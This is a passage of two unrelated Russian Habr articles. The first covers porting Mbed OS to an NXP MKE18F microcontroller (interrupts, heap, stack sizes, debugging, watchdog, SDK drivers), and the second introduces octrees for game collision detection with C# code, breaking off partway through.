* ***NVIC\_EnableIRQ*** — разрешает вызов прерываний по заданному вектору
Вот как инициализируется организация прерыванияй от таймера **SysTick**:
```
NVIC_SetVector(mbed_get_m0_tick_irqn(), (uint32_t)SysTick_Handler);
// Здесь функция mbed_get_m0_tick_irqn возвращает номер вектора прерывания от таймера SysTick.
// Тут можно было бы сразу вставить имя SysTick_IRQn их заголовочного файла MKE18F16.h
// Функция SysTick_Handler является обработчиком прерывания.
NVIC_SetPriority(mbed_get_m0_tick_irqn(), 0xFF); // 0xFF здесь назначает минимальный приоритет. Чем больше число тем меньше приоритет. В контроллере NVIC реализованном в семействые MKE18F16 возможны только 16 уровней приоритетов. Т.е. значащими будут 4-е младших бита.
NVIC_EnableIRQ(mbed_get_m0_tick_irqn()); // Разрешает вызов обработчика прерывания.
```
Нельзя путать приоритеты задач Mbed и приоритеты прерываний.
Если приоритет не назначается, то по умолчанию он устанавливается максимальным.
Из назначенных таким образом обработчиков прерываний можно вызывать любые сервисы **RTOS**, которые не вызывают ожиданий. Т.е. передавать флаги, семафоры, сообщения, майлбоксы и проч. Сервисы вызываются однако не из самого **ISR**, а путем вызова программного прерываний установкой бита **PENDSVSET** в регистре *Interrupt Control and State Register* (**ICSR**) блока *System control block* (**SCB**) ядра **Cortex-M**. Т.е. после завершения текущего обработчика прерываний если нет других приоритетных прерываний произойдет вызов системного обработчика по вектору **PendSV** где и будет проведено обслуживание.
Как в Mbed происходит работа с динамической памятью
---------------------------------------------------
**Динамическая память** или иначе **куча** или **heap** — обязательный компонент при программировании на **C++**. В нашем проекте **Mbed** под **IAR** определение размера этой области памяти производится в файле настроек линкера **MKE18F512xxx16\_flash.icf** с помощью записи в переменную **\_\_size\_heap\_\_**. Размер ставим так чтобы он занял всю оставшуюся свободную память. Сколько осталось свободной памяти узнаем из **.map** файла после компиляции, т.е. определение размера **heap** — процесс итеративный.
### Вызов статических конструкторов объектов C++
Важным вопросом при использовании **C++** является где и как вызываются конструкторы глобальных объектов. Даже в **RTOS** претендующих на серьезность, например **МАКС**, это обойдено вниманием, т.е. пущено на самотек. Там конструкторами занимается стандартная однопоточная библиотека среды разработки с обычным однопоточным механизмом выделения памяти. Но после старта распространенные **RTOS** создают свой механизм управления динамической памятью, а память занятая глобальными объектами остается забытой. Это дыра в наших усилиях по экономии памяти и контролю над всем.
В **Mbed** к данному вопросу подошли гораздо серьезней. Там для каждой среды разработки имеется собственный подход. В **IAR** это делается так:
* поток инициализации еще до вызова конструкторов перехватывается пользовательским кодом
* в стандартную библиотеку подставляются методы блокировки потоков из **API RTOS**
* перенаправляются стандартные функции **new**, **delete**, **malloc**, **free**… на обращения к **API** работы с динамической памятью **RTOS**.
**Mbed** использует адаптеры библиотек **IAR** для работы в много-поточном режиме
Об адаптации IAR под многопоточность можно почитать здесь — <http://supp.iar.com/FilesPublic/UPDINFO/005691/arm/doc/infocenter/DLIBThreadSupport.html>
В **Mbed** адаптированы как системные блокировки (*System locks*) так и поточные блокировки (*File stream locks*) библиотеки **IAR**. Они реализованы в файле *mbed\_boot.c* и используют **мьютексы OS**.
В функции **\_\_iar\_program\_start** исполняемой в первых же строчках файла **startup\_MKE18F16.s** происходит инициализация стека и динамической памяти OS с помощью вызова *mbed\_set\_stack\_heap*
Назначение размеров стеков задач
--------------------------------
Урезание стеков задач до минимума — самый привлекательный вариант экономии **RAM**.
Чтобы задачи требовали меньше стека применяются разные техники. Например, на стек сильно влияют библиотечные функции для вывода и форматирования строк **printf**, **sprintf**, **scanf** и т.д. Они имеют особенность выделять в стеке большие временные области для хранения данных. Если мы откажемся в задаче использовать эти функции, то сможем сократить стек задачи на каких-нибудь добрых пару сотен байт.
Mbed OS при старте сразу создает три задачи с именами: **"main\_thread"**, **"timer\_thread"**, **"idle\_thread"**. Размер стека по умолчанию для них определялся макросами в заголовочном файле **mbed\_rtx\_conf.h**. Мы перенесли объявления этих стеков в файл конфигурации **mbed\_config.h** и сократили размер стеков. Теперь определения выглядят так:
* Стек задачи **"main\_thread"** определяется макросом **MBED\_CONF\_APP\_MAIN\_STACK\_SIZE** = 1024 байт
* Стек задачи **"timer\_thread"** определяется макросом **MBED\_CONF\_APP\_TIMER\_THREAD\_STACK\_SIZE** = 512 байт
* Стек задачи **"idle\_thread"** определяется макросом **MBED\_CONF\_APP\_IDLE\_THREAD\_STACK\_SIZE** = 512 байт
Средства контроля за использованием ресурсов памяти в Mbed
----------------------------------------------------------
Динамическая память равно как и стек — это ресурсы требующие постоянного внимания. Чтобы видеть насколько использована динамическая память и какова интенсивность запросов к ней, сколько осталось стека у каждой задачи и какова была пиковая загрузка стеков в Mbed есть специальные счетчики. По умолчанию они отключены директивой условной компиляции, для их включения надо объявить дефайн **MBED\_ALL\_STATS\_ENABLED**. Когда дефайн объявлен, нужно написать свою процедуру для вывода информации пользователю. Мы написали специальную процедуру для вывода статистики в эмулятор терминала VT100, о чем будет рассказано позже.
Помимо средств предоставляемых OS среда разработки IAR в последних версиях добавляет новую возможность — **стековые канарейки**. Прочитать о них можно [здесь](https://www.iar.com/support/resources/articles/stack-protection-in-iar-embedded-workbench-for-arm/). Общие вопросы защиты стека от переполнения рассмотрены [здесь](https://www.iar.com/support/resources/articles/detecting-and-avoiding-stack-overflow-in-embedded-systems/) и [здесь](https://www.iar.com/support/resources/articles/mastering-stack-and-heap-for-system-reliability/).
Средства отладки и анализа кода Mbed
------------------------------------
По настоящему глубоко изучить работу **Mbed** на новой платформе можно только с использованием **JTAG/SWD** отладчика.
**Исходники Mbed** насыщены многоуровневыми макросами и инструкциями условной компиляции. Просто рассматривая исходники нельзя сказать какие функции работают, а какие нет, куда выполнение программы заходит, а куда не заходит. Единственным выходом остается подключить отладчик и по шагам анализировать путь выполнения программы. Уже на этапе портирования практически невозможно обойтись без пошаговой отладки.
Я рекомендовал бы отладчики фирмы **Segger** версии **J-Link Pro** и **J-Link Ultra**. Их отличает высокая пропускная способность, в несколько раз выше чем у распространенных дешевых моделей. Для отладки систем с жестким реальным временем это немаловажно. При трассировке быстрых событий такие отладчики меньше подвержены переполнениям и требуют меньше отладочных итераций. Помимо пошаговой отладки они способны выполнять лог прерываний, вести статистику прерываний, включая их длительности выполнения, поддерживают технологии отладки [**RTT**](https://habr.com/post/259205/#habracut) и **ITM**, перехватывают аппаратные исключения и другие функции.
Ниже вид окна отладчика IAR при работе через адаптер J-Link.
Экономить не стоит, 90% времени разработки уходит на отладку. Хотя более дорогие трассировщики **J-Trace** от Segger уже не дают большого преимущества, поскольку серия **MKE18F** не оснащена специальным трассировочным интерфейсом.
**Вторым средством** отладки, конечно, является ввод-вывод через **UART**. В Mbed реализовано как минимум четыре разных технологии доступа к последовательному каналу обмена данными через **UART**,
Это:
* перенаправление через класс **DirectSerial** стандартных функций ввода-вывода языка **C/C++**
* класс **RawSerial**
* класс **Serial**
* класс **UARTSerial**
Довольно необычное разнообразие. Все четыре могут быть использованы одновременно для вывода в один и тот же порт. Какие-то из них более функциональны, какие-то менее, какие-то документированы, а какие-то нет. В дальнейшем в нашем проекте будем использовать **RawSerial**, как наименее затратный по ресурсам класс.
Сколько мы теряем таймеров портировав Mbed
------------------------------------------
Для мигания светодиодом использовалась функция **wait** из **API** Mbed OS. В прошлой статье было рассказано о проблемах ее портирования. Но это не все, кроме этого Mbed ведет счетчик своей работы ( его можно прочитать функцией **mbed\_stats\_cpu\_get** ) и есть **API таймера**. Эти сервисы используют низкоуровневые функции из файла **lp\_ticker.c**. В этом файле для организации счета времени используется таймер **LPTMR** из набора периферии **Kinetis**. В процессе портирования этот файл был отредактирован для соответствия способам тактирования примененным в микроконтроллере **MKE18F512VLL16**.
Таким образом **порт Mbed** полностью захватывает два модуля счетчиков — **PIT** и **LPTMR** и таймер ядра **SysTick**. Об этом надо помнить планируя ресурсы для прикладной задачи.
Особенности начальной загрузки MKE18F
-------------------------------------
Чипы семейства **MKE18F** имеют встроенный **ROM** с начальным загрузчиком через последовательные интерфейсы: **UART, CAN, SPI, I2C**. Но на нашей плате планируется использовать свой защищенный загрузчик, поэтому работа штатного загрузчика нежелательна.
В этом случае у чипов **Kinetis** надо обращать внимание на содержимое области **Program Flash** по адресу **0x040D**. Там хранится константа определяющая порядок начальной загрузки. В нашем случае там должна быть записана константа **0x7B**, указывающая на старт из **Flash** памяти, а не из **ROM** и отключающая функцию **NMI** на внешнем выводе. При ином значении этой константы программа может зависнуть в случайно вызванном из ROM встроенном загрузчике.
Еще важно помнить, что запись во Flash память контроллера возможна только на частоте ядра **120 МГц** и не выше, т.е. в режиме **HRUN** запись во Flash невозможна.
Активизируем Watchdog
---------------------
Плата нашего контроллера предназначена для промышленного применения и значит без **Watchdog-а** обойтись нельзя.
Изначально макрос **DISABLE\_WDOG** в файле **system\_MKE18F16.h** был установлен для отключения **watchdog-а**. Чтобы исправить ситуацию этот макрос был стерт и реализована своя инициализация **WDOG**.
Инициализация **Watchdog-а** производится в функции **SystemInit**. Обновление счетчика **watchdog-а** сделано в задаче **IDLE**.
Такой подход требует чтобы более высокоприоритетные задачи не захватывали монопольно процессор более чем на **100 мс**. Но это легко может произойти, например, при выводе на терминал больших дампов данных. Поэтому везде разбиваем длительные процедуры в задачах с приоритетом больше чем у **IDLE** на короткие фрагменты перемежаемые паузами c использованием функции **wait**.
Вопрос драйверов из поставки SDK
--------------------------------
Драйвера **SDK** имеют префикс **fsl** находятся в директории **NXP\_MKE18F\_drivers** и являются своеобразным слоем абстракции периферии. Они по идее, должны облегчать программирование сложной для изучения периферии, но к сожалению минимально документированы. Вернее их документирование ограничивается комментариями в заголовках функций. Возникает недоумении для кого тогда они написаны, и как они могут освободить нас от изучения мануалов на периферию микроконтроллере. Мой ответ — никак. Драйвера всего лишь помогают легче переносить программы на разные микроконтроллеры в пределах одного семейства. Но чтобы их эффективно применять нужно очень хорошо разобраться с документацией на периферию. Таким образом драйвера **SDK** решают довольно частную проблему разработчиков самих драйверов, далекую от нужд пользователей начинающих изучать **Kinetis**.
Драйвера также предназначены для работы на всех чипах семейства т.е. быть универсальными и поэтому насыщены условными макросами и проверками которые для каждого конкретного чипа не несут никакой полезной функции.
Драйвера еще некоторым образом могут помочь лучше понять как следует обращаться с периферией, но после прихода понимания драйвера можно смело игнорировать.
В связи со сказанным не должно удивлять, что в данном проекте обращение к периферии не затронутой портом Mbed идет напрямую минуя драйвера.
Могут однако возникнуть опасения по поводу зависимостей работы той или иной периферии от наличия драйверов SDK. Тут приходится исследовать исходный код драйверов. Главная опасность зависимостей исходит от разделения функций **DMA** драйверами. Чтобы этого не случилось нужно отследить и запретить штатным сервисам Mbed использовать **DMA** при работе с периферией. Если **DMA** остается нетронутым драйверами **SDK**, то практически все, что не касается 2-х упомянутых модулей таймеров (**PIT** и **LPTMR**) и отладочного UART-а можно из директории **NXP\_MKE18F\_drivers** выкинуть или игнорировать.
Меньшая опасность, но тоже существенная может исходить от назначения приоритетов задействованной через драйвера SDK периферии. Например надо знать какой приоритет назначен прерываниям SysTick, отладочного UART-а, и таймеров. В ситуации когда их приоритет равен или больше приоритету периферии используемой в realtime управлении это может привести к деградации качества управления.
Помним, что порт **Mbed** для **MKE18F** инициализирует прерывания UART и таймеров без назначения приоритета, т.е. они по умолчанию получают максимальный уровень. | https://habr.com/ru/post/422413/ | null | ru | null |
# Введение в октодеревья
Что такое октодеревья? Если вам совершенно неизвестно это понятие, то рекомендую прочитать [статью в Википедии](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%82%D0%BE%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE) (это займёт около пяти минут). Она даёт достаточное *представление*, но едва ли её будет достаточно, чтобы понять, для чего они используются и как их реализовать.
В этой статье я постараюсь рассказать обо всех этапах, необходимых для создания структуры данных октодеревьев, на примере объяснения концепций, иллюстраций и кода. Также я опишу свои решения, которые принимал на каждом из этапов. Не думайте, что эта статья будет единственно верным руководством к реализации октодеревьев, но она должна дать вам хороший фундамент и её можно использовать для справки.
Необходимые знания
------------------
При написании этой статьи я предполагал, что читатель:
1. Хорошо разбирается в программировании на языке с синтаксисом в стиле C (я буду использовать C# с XNA).
2. Уже программировал какую-нибудь [древообразную структуру данных](https://www.gamedev.net/articles/programming/general-and-gameplay-programming/data-structures-for-pre-college-programmers-trees-and-heaps-r2988/), например, [двоичное дерево поиска](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0), знаком с рекурсией, её сильными и слабыми сторонами.
3. Знает, как реализуется распознавание коллизий с граничными прямоугольниками, сферами и усечёнными пирамидами.
4. Разбирается в стандартных структурах данных (массивах, списках и т.д), понимает, что такое [большое «O»](https://ru.wikipedia.org/wiki/%C2%ABO%C2%BB_%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%BE%D0%B5_%D0%B8_%C2%ABo%C2%BB_%D0%BC%D0%B0%D0%BB%D0%BE%D0%B5) (про большое «O» можно также прочитать в [этой статье GDnet](https://www.gamedev.net/page/resources/_/technical/general-programming/writing-fast-code-introduction-to-algorithms-and-big-o-r3442)).
5. Работает над проектом, в котором есть пространственные объекты, нуждающиеся в проверке коллизий.
Подготовка сцены
----------------
Предположим, что мы создаём очень масштабную игру, в которой могут содержаться тысячи физических объектов разных типов, форм и размеров, и некоторые из них должны сталкиваться друг с другом. В каждом кадре нам придётся определять, какие объекты пересекаются друг с другом и каким-то образом обрабатывать эти пересечения. Как это сделать, чтобы скорость игры не падала?
Распознавание коллизий простым перебором
----------------------------------------
Простейший способ решения — сравнивать каждый объект со всеми объектами в мире. Обычно это можно сделать в двух циклах *for*. Код будет выглядеть примерно так:
```
foreach(gameObject myObject in ObjList)
{
foreach(gameObject otherObject in ObjList)
{
if(myObject == otherObject) continue; //не проверяем коллизию объекта с ним самим
if(myObject.CollidesWith(otherObject))
{
//код обработки коллизии
}
}
}
```
Графически это можно представить так:
Каждая красная линия — это затратная проверка пересечений в ЦП.
Естественно, такой код должен привести вас в ужас, потому что он будет выполняться O(N2) раз. Если у нас будет 10 000 объектов, то придётся выполнять 100 000 000 проверок коллизий (сто миллионов). Неважно, насколько быстрый у вас процессор и насколько вы усовершенствовали математический код — такая программа будет тормозить в компьютере. Если игра работает с 60 кадрами в секунду, то в секунду будет выполняться 60 \* 100 миллионов вычислений! Это совершенное безумие.
Если можно этого избежать, давайте не будем так делать, по крайней мере, для больших множеств объектов. Это будет приемлемо *только* если, допустим, проверка выполняется всего для 10 объектов (100 проверок). Если вы заранее знаете, что в игре будет мало объектов (например, астероидов), то, возможно, вам вполне подойдёт простой перебор и от октодеревьев можно полностью отказаться. Если вы начали замечать проблемы с производительностью из-за слишком большого количества проверок коллизий за кадр, можно использовать очень простые оптимизации:
**1.** Сколько вычислений требуется для вашей процедуры расчёта коллизий? Может быть, в ней где-то скрыто вычисление квадратного корня (например, в проверке расстояний)? Выполняете ли вы детализированную проверку коллизий (пересечения пикселей, треугольников и т.д.)? Есть стандартная техника: сначала выполняйте грубую проверку коллизий, а потом переходите к более детальной. Можно добавить объектам описывающую их прямоугольную или сферическую границу и проверять пересечение между границами, а потом уже выполнять детализированную проверку, требующую больше математических вычислений и ресурсов.
> Для сравнения расстояний между объектами используйте проверку квадрата расстояния между объектами, чтобы избежать вычисления квадратного корня. Для вычисления квадратного корня обычно используется аппроксимация методом Ньютона и оно может быть очень затратным.
**2.** Можно ли обойтись вычислением меньшего количества проверок коллизий? Если игра работает с частотой 60 кадров в секунду, можно ли пропустить несколько кадров? Если поведение некоторых объектов детерминировано, то их коллизии можно вычислить заранее (например, между бильярдным шаром и бортом стола). Можно ли уменьшить количество объектов, для которых выполняется проверка? Попробуйте разделить объекты в разные списки. В одном списке могут быть «стационарные» объекты. Их коллизии между друг другом можно никогда не проверять. В другом списке могут находиться «подвижные» объекты, для которых нужно проверять коллизии со всеми другими подвижными и всеми стационарными объектами. Это может снизить количество необходимых проверок коллизий до приемлемого с точки зрения производительности уровня.
**3.** Можно ли отказаться от проверки коллизий некоторых объектов, когда возникают проблемы с производительностью? Например, частица дыма *может* взаимодействовать с объектом поверхности и следовать за его контурами для создания красивого эффекта, но это не должно мешать геймплею. Если количество проверок превышает определённый предел, то можно прекратить вычисление коллизий для частиц дыма. Однако игнорирование движения *важных* игровых объектов тоже разрушит игровой процесс (например, пули игрока перестанут взаимодействовать с монстрами). То есть полезно будет хранить список приоритетов проверок коллизий. Сначала обрабатываются коллизии с высоким приоритетом, и если предел не превышен, то можно обработать коллизии с низким приоритетом. При достижении предела игра должна отбрасывать все оставшиеся элементы в списке приоритетов или откладывать их проверку на будущее.
**4.** Можно ли использовать более быстрый, но всё равно простой способ распознавания коллизий, чтобы избавиться от O(N2) во время выполнения? Если устранить объекты, для которых уже проверены коллизии, то вы снизите время выполнения до O(N(N+1)/2), что гораздо быстрее, но всё равно довольно просто реализовать (технически, это по-прежнему O(N2)). С точки зрения разработки ПО, вы можете потратить в результате больше времени, чем стоит, для выжимания капель производительности из улучшения плохого алгоритма и неверно выбранной структуры данных. Соотношение затрат и преимуществ становится всё невыгоднее и наступает время выбрать для обработки распознавания коллизий более подходящую структуру данных.
Как решение проблемы распознавания коллизий во время выполнения активно используются алгоритмы разбиения пространства. Они заранее отбирают небольшую часть скорости, зато логарифмически снижают количество проверок коллизий. Предварительные затраты времени разработки и ЦП легко перевешиваются преимуществами масштабируемости и увеличения скорости.
Концепция разбиения пространства
--------------------------------
Давайте сделаем шаг назад и прежде чем переходить к октодеревьям, рассмотрим идею разбиения пространства и деревьев в целом. Если вы не поймёте эту концепцию, то никак не сможете реализовать её в коде.
В реализации простого перебора выше мы брали каждый объект в игре и сравнивали его положение с положениями всех других объектов, чтобы проверить, касаются ли они. Все эти объекты пространственно расположены в мире игры. Если мы создадим фигуру, ограничивающую игровой мир и выясним, какие из объектов содержатся в этой фигуре, то у нас будет область пространства со списком содержащихся в нём объектов. В нашем случае он будет содержать все объекты игры.
Мы можем заметить, что один объект находится в одном конце мира, а другой — в противоположном, поэтому нам не нужно вычислять проверки коллизий между ними в каждом кадре. Это будет пустой тратой драгоценного времени процессора. Давайте попробуем сделать что-нибудь интересное! Если мы разделим мир ровно пополам, то можем создать три отдельных списка объектов.
В первом списке, List A, будут содержаться все объекты в левой части мира.
Во втором списке, List B, содержатся объекты правой части мира.
Некоторые объекты могут касаться разделительной линии между частями, то есть находиться по обе её стороны. Для таких объектов мы создадим третий список, List C.
Можно заметить, что при каждом разделении мы пространственно уменьшаем мир вдвое и собираем список объектов, оказавшихся в полученной половине. Для хранения этих списков мы можем создать двоичное дерево поиска. Концепция такого дерева будет выглядеть примерно так:
Структура данных дерева в псевдокоде выглядит примерно так:
```
public class BinaryTree
{
//Это список всех объектов, содержащихся в этом узле дерева
private List m_objectList;
//Это указатели на левый и правый дочерние узлы дерева
private BinaryTree m_left, m_right;
//Это указатель на родительский объект (для обхода дерева вверх).
private BinaryTree m_parent;
}
```
Мы знаем, что все объекты в List A никогда не будут пересекаться с объектами в List B, поэтому можно отказаться почти от половины проверок коллизий. У нас по-прежнему есть объекты в List C, которые могут касаться объектов в списках A и B, поэтому нужно будет проверять все объекты List C на коллизии со всеми объектами в списках A, B и C.
Если мы продолжим разделять мир на всё меньшие и меньшие части, то и дальше будем уменьшать количество проверок, каждый раз наполовину. Вот в этом заключается основная идея разбиения пространства. Существует множество способов разбиения мира в древоподобную структуру данных ([двоичное разбиение пространства (BSP)](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D0%B7%D0%B1%D0%B8%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0), [деревья квадрантов](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D0%BD%D1%82%D0%BE%D0%B2), [K-мерные деревья](https://ru.wikipedia.org/wiki/K-%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE), октодеревья, и т.д.).
Теперь мы просто будем по умолчанию предполагать, что наилучшим разбиением будет деление пополам, ровно посередине, потому что мы считаем, что все объекты распределены по миру приблизительно равномерно. Это неплохое предположение, но в некоторых алгоритмах разбиения пространства выполняют разбиение таким образом, чтобы в каждой из половин было равное количество объектов (взвешенное разделение), чтобы получившееся дерево было бы более сбалансированным. Однако что случится, если все эти объекты начнут двигаться? Чтобы поддерживать примерно равное разбиение, придётся или перемещать секущую плоскость, или полностью перестраивать дерево в каждом кадре. Это довольно запутанно и сложно.
Поэтому для своей реализации дерева разбиения пространства я решил каждый раз делить его пополам. В результате некоторые деревья окажутся более разреженными, но это нормально и не приведёт к большим затратам.
Делить иль не делить? Вот в чём вопрос.
---------------------------------------
Предположим, у нас есть довольно разреженная область всего с несколькими объектами. Мы можем продолжить выполнять разбиение, пока не обнаружим минимально возможное ограничивающее пространство для последнего объекта. Но необходимо ли это? Вспомним, что *причиной* создания дерева стало снижение количества проверок коллизий, выполняемых в каждом кадре, а не создание идеально ограничивающей каждый объект области пространства. Вот какие правила я выбрал для принятия решения о том, нужно разбиение или нет:
* Если мы создаём разделение, в котором будет только один объект, то мы прекращаем разбиение, несмотря на то, что *можем* разбивать пространство и дальше. Это правило будет важной частью критериев, определяющих «узел листа» в октодереве.
* Ещё один важный критерий — задание минимального размера области. Если у вас есть очень мелкий объект размером в несколько нанометров (или в коде есть баг и вы забыли инициализировать размер объекта!), то разделение продолжится и потенциально вы можете переполнить стек вызовов. Для своей реализации я выбрал минимальную область — куб размером 1x1x1. Для всех объектов в этом кубе нужно будет выполнять проверку коллизий простым перебором (O(N2)) (Я не рассчитываю на большее количество объектов!).
* Если область не содержит объектов, я не буду добавлять её в дерево.
Можно сделать ешё один шаг в разбиении пополам и делить двухмерное пространство мира на *квадранты*. Логика, в сущности, та же самая, но теперь мы проверяем коллизии между четырьмя квадратами, а не двумя прямоугольниками. Мы можем продолжать разбиение, пока не будут удовлетворены условия завершения. Пространство мира и соответствующая структура данных для дерева квадрантов будут выглядеть примерно так:
Если разбиение на дерево квадрантов и структура данных выглядят для вас логично, то и октодерево тоже будет понятным. Мы просто добавляем третье измерение и используем ограничивающие кубы, а не квадраты, то есть у нас будет восемь, а не четыре возможных дочерних узлов. Можно задаться вопросом — что будет, если игровой мир имеет некубические размеры, например, 200x300x400. Всё равно можно использовать октодерево с кубическими размерами — некоторые дочерние узлы просто окажутся пустыми, если в них в пространстве мира ничего нет. Очевидно, нужно, чтобы размеры октодерева были как минимум равны большей из размерностей игрового мира.
Создание октодеревьев
---------------------
Итак, как вы уже прочитали, октодерево — это особый тип дерева разбиения, обычно используемый для объектов в трёхмерном пространстве (или чего угодно с тремя размерностями). Ограничивающей областью будет трёхмерный прямоугольник (параллелепипед) (обычно это куб). Затем мы применяем описанную выше логику и разрезаем ограничивающую область на восемь меньших параллелепипедов. Если игровой объект целиком помещается в одну из этих подразделённых областей, мы спускаем его вниз по дереву в узел содержащей его области. Затем мы продолжаем рекурсивно разделять каждую получившуюся область, пока не выполнится одно из условий завершения. В результате у нас должна получиться красивая древообразная структура данных.
> В моей реализации октодерева будут содержаться объекты, имеющие ограничивающую сферу и/или ограничивающий параллелепипед. Вы увидите, что я применяю большой объём кода для определения того, какая ограничивающая фигура используется.
Для структуры данных класса *Octree* я выбрал для каждого дерева следующие правила:
* Каждый узел имеет ограничивающую область, определяющую включающую его область
* Каждый узел имеет ссылку на родительский узел
* Содержит массив восьми дочерних узлов (массивы используются для простоты кода и скорости кеша)
* Содержит список объектов, находящихся в текущей области
* Я использовал битовую маску размером в байт для определения того, какие дочерние узлы активно используются (*преимущества оптимизации ценой дополнительной сложности — довольно спорный вопрос*)
* Для указания состояния дерева я использовал несколько статичных переменных
Вот код наброска моего класса *Octree*:
```
public class OctTree
{
BoundingBox m_region;
List m_objects;
///
/// Это объекты, которые мы будем вставлять в структуру данных.
/// Здесь мы хотим накопить как можно больше объектов, прежде чем вставлять их в дерево. Это будет более удобно для кеширования.
///
static Queue m_pendingInsertion = new Queue();
///
/// Это все возможные дочерние октанты этого узла дерева.
///
OctTree[] m_childNode = new OctTree[8];
///
/// Это битовая маска, показывающая, какие дочерние узлы активно используются.
/// Она немного добавляет сложности, но улучшает производительность, потому что используется всего одно сравнение вместо восьми.
///
byte m_activeNodes = 0;
///
/// Минимальный размер ограничивающей области - куб 1x1x1.
///
const int MIN_SIZE = 1;
///
/// количество кадров, после которого мы удаляем пустую ветвь дерева. заметьте, что это не константа. Максимальный срок жизни удваивается
/// при каждом повторном использовании узла, пока не "упрётся" в жёстко заданную константу (64)
///
int m_maxLifespan = 8; //
int m_curLife = -1; // это время обратного отсчёта, показывающий оставшийся срок жизни
///
/// Ссылка на родительский узел. Удобно использовать её при обновлении дерева.
///
OctTree _parent;
static bool m_treeReady = false; // у дерева есть несколько объектов, которые нужно вставить, прежде чем оно станет завершённым
static bool m_treeBuilt = false; // готового дерева ещё не существует
}
```
Инициализация ограничивающей области
------------------------------------
Первый шаг в создании октодерева — задание ограничивающей области всего дерева. Это будет ограничивающий параллелепипед для корневого узла дерева, который изначально содержит все объекты игрового мира. Прежде чем инициализировать ограничивающий объём, нам нужно принять решения относительно дизайна:
**1.** Что *должно* происходить, когда объект перемещается за пределы ограничивающего объёма корневого узла? Будем ли мы изменять размер всего дерева, чтобы были ограничены все объекты? Если да, то нам придётся полностью перестраивать октодерево с нуля. Если нет, то нужно найти какой-то способ обработки объектов за пределами границ, или сделать так, чтобы объекты никогда не выходили за границы.
**2.** Как мы будем создавать ограничивающую область для октодерева? Будем ли мы использовать заранее заданные размеры, например, параллелепипед 200x400x200 (X,Y,Z)? Или мы будем использовать кубические размеры. являющиеся степенью двойки? Что произойдёт, если *минимальную* допустимую ограничивающую область нельзя будет разделить? Я решил, что буду использовать кубическую ограничивающую область с размерами, равными степени двойки, достаточно большую для полного ограничения всего мира. Минимальной допустимой областью будет куб размером 1x1x1 единиц. Благодаря этому я буду чётко делить мир и получать целые числа (даже несмотря на то, что *Vector3* имеет формат с плавающей запятой). Также я решил, что моя ограничивающая область будет ограничивать весь мир, так что если объект покидает эту область, он будет уничтожаться. Для минимального октанта я буду выполнять проверку коллизий простым перебором. Но я ожидаю, что такую маленькую область будут занимать одновременно не более трёх объектов, так что затраты производительности O(N2) абсолютно приемлемы. Я стандартно инициализирую октодерево с помощью конструктора, получающего размер области и список объектов, вставляемых в дерево. Мне показалось, что не стоит показывать эту часть кода, потому что она элементарна, но добавил её для полноты.
Вот мои конструкторы:
```
/*Примечание: мы как можно дольше стараемся избежать выделения памяти, потому что у нас может быть множество узлов.*/
///
/// Создаём октодерево, которое ограничивает заданную область и содержит все переданные объекты.
///
/// Ограничивающая область октодерева.
/// Список объектов, содержащихся внутри ограничивающей области
private OctTree(BoundingBox region, List objList)
{
m_region = region;
m_objects = objList;
m_curLife = -1;
}
public OctTree()
{
m_objects = new List();
m_region = new BoundingBox(Vector3.Zero, Vector3.Zero);
m_curLife = -1;
}
///
/// Создание октодерева с предположением, что ограничивающая область содержит объекты.
///
/// Предполагаемые размеры ограничивающей области.
/// Примечание: если объекты находятся за пределами этой области, размер области будет автоматически изменён.
public OctTree(BoundingBox region)
{
m_region = region;
m_objects = new List();
m_curLife = -1;
}
```
Создание первоначального октодерева
-----------------------------------
Я большой поклонинк [отложенной инициализации](https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F). Я стараюсь избежать выделения памяти и совершения работы до того момента, когда это абсолютно необходимо. В случае октодерева я как можно дольше избегаю создания структуры данных. Мы получаем запрос пользователя на вставку объекта в структуру данных, но на самом деле мы не обязаны создавать дерево, пока кто-нибудь не запустит для него очередь.
Что это нам даёт? Ну, предположим, что процесс создания и обхода дерева будет довольно ресурсозатратен. Если пользователь хочет передать нам для вставки в дерево 1000 объектов, имеет ли смысл пересчитывать каждую последующую ограничивающую область тысячу раз? Или мы можем сэкономить часть времени и обработать их скопом?
Я создал «ожидающую» очередь элементов и несколько флагов, указывающих на состояние построения дерева. Все вставленные элементы поступают в ожидающую очередь и после завешения подготовки очереди все эти ожидающие запросы передаются и вставляются в дерево. Это особенно удобно при загрузке игры, потому что вы скорее всего одновременно будете вставлять тысячи объектов. После загрузки игрового мира количество объектов, вставляемых в дерево, оказывается на порядки меньше. Моя процедура отложенной инициализации содержится внутри метода *UpdateTree()*. Она проверяет, построено ли дерево, строит структуру данных, если она не существует и имеет отложенные объекты.
```
///
/// Обработка всех отложенных вставок их вставкой в дерево.
///
/// Нужно ли отказаться от этого?
private void UpdateTree() // завершено и протестировано
{
if (!m_treeBuilt)
{
while (m_pendingInsertion.Count != 0)
m_objects.Add(m_pendingInsertion.Dequeue());
BuildTree();
}
else
{
while (m_pendingInsertion.Count != 0)
Insert(m_pendingInsertion.Dequeue());
}
m_treeReady = true;
}
```
Для построения самого дерева можно использовать её рекурсивно.
